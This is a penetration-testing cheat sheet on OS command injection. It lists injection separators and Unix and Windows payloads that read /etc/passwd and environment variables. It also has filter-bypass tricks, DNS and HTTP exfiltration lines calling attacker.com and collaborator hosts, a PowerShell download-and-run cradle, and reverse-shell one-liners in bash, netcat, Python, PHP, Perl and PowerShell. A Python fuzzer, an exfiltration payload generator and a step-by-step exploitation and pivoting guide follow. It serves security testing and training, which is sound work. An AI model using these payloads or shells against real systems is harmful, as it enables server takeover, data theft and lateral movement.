OS Command Injection
Command injection occurs when user input is passed unsafely to system shell commands, leading to arbitrary command execution on the server.
Danger
๐ Quick Navigation
๐ฏ Fundamentals
โก Exploitation Techniques
๐ค Automation
๐งช Testing & Practice
๐ฏ Why Command Injection is Critical
Command injection (CWE-78) is consistently ranked as one of the most dangerous vulnerabilities because it provides direct access to the underlying operating system:
- Immediate Code Execution: Unlike other vulnerabilities requiring chaining, command injection gives instant OS-level access. One vulnerable parameter = full server compromise.
- Container Escape Potential: In containerized environments, command injection can be the first step to escaping to the host system or accessing secrets.
- Persistence & Lateral Movement: Attackers can add SSH keys, create backdoor users, install rootkits, and pivot to other systems on the network.
- Data Exfiltration: Direct access to databases, configuration files, environment variables with API keys and credentials.
- Ransomware Deployment: Many ransomware attacks begin with command injection into web applications facing the internet.
- Hidden in Legacy Code: Common in older applications using system calls for features like file conversion, image processing, or network tools.
Tools & Resources
Burp Collaborator
OOB interaction testing for blind injection
Burp Suite Pro interactsh
Free OOB testing server (DNS, HTTP, SMTP)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest GitHub โ Netcat / ncat
Swiss army knife for TCP/UDP connections
apt install netcat-openbsd Common Vulnerable Functions:
PHP
system(), exec(), shell_exec(), passthru(), popen(), proc_open()
Python
os.system(), subprocess.call(), subprocess.Popen(shell=True)
Node.js
child_process.exec(), child_process.spawn()
Command Separators
Command separators allow chaining multiple commands. The key is finding which separator works in your context.
# Unix/Linux Separators
; # Sequential - runs regardless of previous command
| # Pipe - passes output to next command
|| # OR - runs if previous command FAILS
& # Background - runs in background
&& # AND - runs if previous command SUCCEEDS
$(cmd) # Command substitution - inline execution
`cmd` # Backtick substitution (legacy)
# Newline as separator
%0a # URL encoded newline
%0d%0a # CRLF
# Windows Separators
& # Sequential execution
&& # AND - runs if previous succeeds
|| # OR - runs if previous fails
| # Pipe output
%0a # NewlineBasic Payloads - Unix
# Semicolon separator
; id
; whoami
; cat /etc/passwd
; ls -la
; uname -a
# Pipe separator
| id
| cat /etc/passwd
| nc attacker.com 4444 -e /bin/bash
# Conditional execution
|| id # Runs if previous fails
&& id # Runs if previous succeeds
# Command substitution
$(id)
$(whoami)
$(cat /etc/passwd)
`id` # Backticks
# Newline injection
%0aid
%0acat%20/etc/passwd
# Useful commands to run
id # Current user
whoami # Username
uname -a # System info
cat /etc/passwd # Users list
env # Environment variables
ps aux # Running processes
netstat -tulpn # Network connections
find / -perm -4000 2>/dev/null # SUID binariesBasic Payloads - Windows
# Basic commands
& whoami
&& whoami
| whoami
|| whoami
# System enumeration
& dir
& dir C:\
& type C:\Windows\win.ini
& type C:\Windows\System32\drivers\etc\hosts
& ipconfig /all
& net user
& net localgroup administrators
& systeminfo
& tasklist
& netstat -ano
# PowerShell execution
& powershell -c "whoami"
& powershell -enc <base64>
& powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')
# Newline
%0awhoami
%0d%0awhoamiBlind Command Injection
When there's no output in the response, use time delays or out-of-band channels to confirm execution.
Time-Based Detection
# Unix - sleep command
; sleep 10
| sleep 10
$(sleep 10)
`sleep 10`
%0asleep%2010
# Windows - ping loopback (takes ~10 seconds)
& ping -n 10 127.0.0.1
& timeout /t 10
| ping -n 10 127.0.0.1
# Conditional time delay (useful for boolean-based)
; if [ $(whoami) = "root" ]; then sleep 10; fi
& if %username%==administrator ping -n 10 127.0.0.1Out-of-Band (OOB) Exfiltration
# DNS exfiltration (works through firewalls)
; nslookup YOUR-SUBDOMAIN.burpcollaborator.net
; nslookup $(whoami).YOUR-SUBDOMAIN.oast.fun
; host $(whoami).YOUR-SUBDOMAIN.interactsh.com
# Exfiltrate data via DNS (base64 encode first)
; nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com
# HTTP callback
; curl http://YOUR-SERVER/$(whoami)
; wget http://YOUR-SERVER/?data=$(cat /etc/passwd | base64)
# Windows DNS exfiltration
& nslookup YOUR-SUBDOMAIN.burpcollaborator.net
& nslookup %username%.YOUR-SERVER.com
& powershell -c "Resolve-DnsName -Name $env:username.attacker.com"Tip
interactsh.com for free OOB testing, or oast.fun. Burp Collaborator requires Pro license.
Filter Bypass Techniques
Space Bypass
# Using $IFS (Internal Field Separator)
cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
ls$IFS-la
# Using tab character
cat%09/etc/passwd
cat\t/etc/passwd
# Using brace expansion
{cat,/etc/passwd}
{ls,-la}
# Input redirection
cat</etc/passwd
cat<>/etc/passwd
# Windows
type%09C:\Windows\win.ini
dir;C:\Keyword/Command Bypass
# String concatenation (quotes)
c'a't /etc/passwd
c"a"t /etc/passwd
wh'oa'mi
wh"oa"mi
# Backslash insertion
ca\t /etc/passwd
who\ami
# Variable insertion
c$()at /etc/passwd
ca$@t /etc/passwd
# Hex encoding
$(printf '\x63\x61\x74') /etc/passwd # cat
# Base64 execution
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo d2hvYW1p | base64 -d | sh
# Environment variables
$SHELL -c 'cat /etc/passwd'
/???/??t /etc/passwd # Wildcards for /bin/catBlacklist Bypass
# If 'cat' is blocked
tac /etc/passwd # Reverse cat
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
nl /etc/passwd # Line numbers
sort /etc/passwd
uniq /etc/passwd
awk '{print}' /etc/passwd
sed '' /etc/passwd
grep . /etc/passwd
# If 'ls' is blocked
dir # Directory listing
find . -maxdepth 1
echo *
printf '%s\n' *
# If '/' is blocked
${HOME:0:1}etc${HOME:0:1}passwd # Bash substringReverse Shells
Once you confirm command injection, upgrade to a reverse shell for interactive access:
# Bash TCP
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Netcat variants
nc -e /bin/bash ATTACKER 4444
nc -c bash ATTACKER 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"Tip
%26 for &, %3b for ;, %7c for |.
Commix Automation
# Basic scan
commix -u "http://target.com/page?param=test"
# POST request
commix -u "http://target.com/page" --data="param=test"
# With cookies/authentication
commix -u "http://target.com/page?param=test" --cookie="session=abc123"
# Specify technique
commix -u "http://target.com/page?param=test" --technique=t # Time-based
commix -u "http://target.com/page?param=test" --technique=f # File-based
# OS shell
commix -u "http://target.com/page?param=test" --os-shell
# Skip prompts
commix -u "http://target.com/page?param=test" --batchPython Automation
Command Injection Fuzzer
#!/usr/bin/env python3
"""
Command Injection Fuzzer
Tests multiple separators and payloads against a target parameter
"""
import requests
import sys
import time
from urllib.parse import quote
# Payload templates - use .format(cmd=...) to substitute command
PAYLOADS = [
# Unix separators
"; {0}",
"| {0}",
"|| {0}",
"& {0}",
"&& {0}",
"\n{0}",
"$({0})",
"\`{0}\`",
# URL encoded variants
"%3b {0}", # ;
"%7c {0}", # |
"%26 {0}", # &
"%0a{0}", # newline
# Windows
"& {0}",
"| {0}",
"%0d%0a{0}", # CRLF
]
def test_injection(url, param, method='GET', cookies=None):
"""Test for command injection vulnerabilities"""
print(f"[*] Testing {url} parameter: {param}")
print(f"[*] Method: {method}")
# Time-based detection command
sleep_cmd = "sleep 5" if method == 'GET' else "ping -c 5 127.0.0.1"
for payload_template in PAYLOADS:
payload = payload_template.format(sleep_cmd)
try:
start_time = time.time()
if method == 'GET':
response = requests.get(
url,
params={param: f"test{payload}"},
cookies=cookies,
timeout=15
)
else:
response = requests.post(
url,
data={param: f"test{payload}"},
cookies=cookies,
timeout=15
)
elapsed = time.time() - start_time
# Check for time-based response (5+ second delay indicates success)
if elapsed >= 4.5:
print(f"[+] VULNERABLE! Payload: {repr(payload)}")
print(f" Response time: {elapsed:.2f}s")
return payload_template
except requests.exceptions.Timeout:
print(f"[+] VULNERABLE (timeout)! Payload: {repr(payload)}")
return payload_template
except Exception as e:
print(f"[-] Error with payload {repr(payload)}: {e}")
print("[-] No time-based injection found")
return None
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <url> <param> [method]")
print(f"Example: {sys.argv[0]} 'http://target.com/ping' 'ip' POST")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2]
method = sys.argv[3] if len(sys.argv) > 3 else 'GET'
test_injection(url, param, method.upper())OOB Exfiltration Script
#!/usr/bin/env python3
"""
Generate OOB exfiltration payloads for command injection
Exfiltrates data via DNS to interactsh/Burp Collaborator
"""
import base64
import sys
def generate_oob_payloads(collaborator_domain, data_command):
"""Generate OOB exfiltration payloads"""
payloads = [
("DNS (Unix)", f"nslookup $({data_command} | base64 | head -c 60).{collaborator_domain}"),
("DNS (backticks)", f"nslookup \`{data_command} | base64 | head -c 60\`.{collaborator_domain}"),
("DNS (Windows)", f"nslookup %username%.{collaborator_domain}"),
("HTTP (curl)", f"curl http://{collaborator_domain}/?d=$({data_command} | base64)"),
("HTTP (wget)", f"wget http://{collaborator_domain}/?d=$({data_command} | base64)"),
]
print(f"[*] OOB Payloads for: {collaborator_domain}")
print(f"[*] Data command: {data_command}")
print("-" * 60)
for name, payload in payloads:
print(f"\n{name}:")
print(f" {payload}")
# Separator variants
print("\n" + "=" * 60)
print("[*] With separators (prepend to your input):")
separators = ["; ", "| ", "|| ", "&& ", "\n", "%0a"]
for sep in separators:
print(f" {sep}{payloads[0][1]}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <collaborator_domain> [command]")
print(f"Example: {sys.argv[0]} abc123.oast.fun whoami")
sys.exit(1)
domain = sys.argv[1]
cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami"
generate_oob_payloads(domain, cmd)Command Injection Testing Checklist
๐ Discovery Phase
- โ Identify parameters that interact with OS (ping, dns, file ops)
- โ Look for filename/path parameters
- โ Check PDF generators, image processors
- โ Test email functionality (mail command)
- โ Examine backup/export features
- โ Test diagnostic/health check endpoints
โก Separator Testing
- โ Test semicolon (;) separator
- โ Test pipe (|) separator
- โ Test ampersand (&, &&) separator
- โ Test newline (%0a, %0d%0a)
- โ Test command substitution ($(), ``)
- โ Test URL-encoded variants
๐ Blind Detection
- โ Time-based: sleep 10 / ping -c 10
- โ OOB via DNS (nslookup, host)
- โ OOB via HTTP (curl, wget)
- โ File write then access
- โ Conditional time delays
- โ Error-based inference
๐ Filter Bypass
- โ Space bypass ($IFS, %09, {cmd})
- โ Quote insertion (c'a't, c"a"t)
- โ Backslash insertion (ca\\t)
- โ Variable substitution ($@)
- โ Base64 encode + decode
- โ Hex encoding (\\x63\\x61\\x74)
How to Exploit Command Injection
Step-by-Step Exploitation
- Identify Injection Point: Find parameters that seem to interact with OS commands (ping tool, file viewer, DNS lookup, etc.)
- Confirm Injection: Try simple separators with benign commands. If no output visible, use time-based payloads:
; sleep 10 - Determine OS: Based on response or timing, determine if target is Unix or Windows. Try
; uname -aor& ver - Enumerate System: Run discovery commands:
id,whoami,env,cat /etc/passwd - Exfiltrate Data: For blind injection, use OOB via DNS:
; nslookup $(whoami).your-collaborator.com - Establish Shell: Get interactive access. Set up listener:
nc -lvnp 4444. Send reverse shell payload. - Post-Exploitation: Upgrade to PTY shell, enumerate further, look for credentials, pivot to other systems.
โ ๏ธ Pro Tip: If spaces are filtered, use $IFS (Internal Field Separator) in Unix: cat$IFS/etc/passwd or brace expansion: {cat,/etc/passwd}
Practice Labs
PortSwigger Command Injection
5 labs covering basic to blind injection techniques
PentesterLab - SQLi to Shell
Practice command execution via SQL injection
TryHackMe DVWA
Command injection at Low/Medium/High security
HackTheBox
Real-world command injection in CTF machines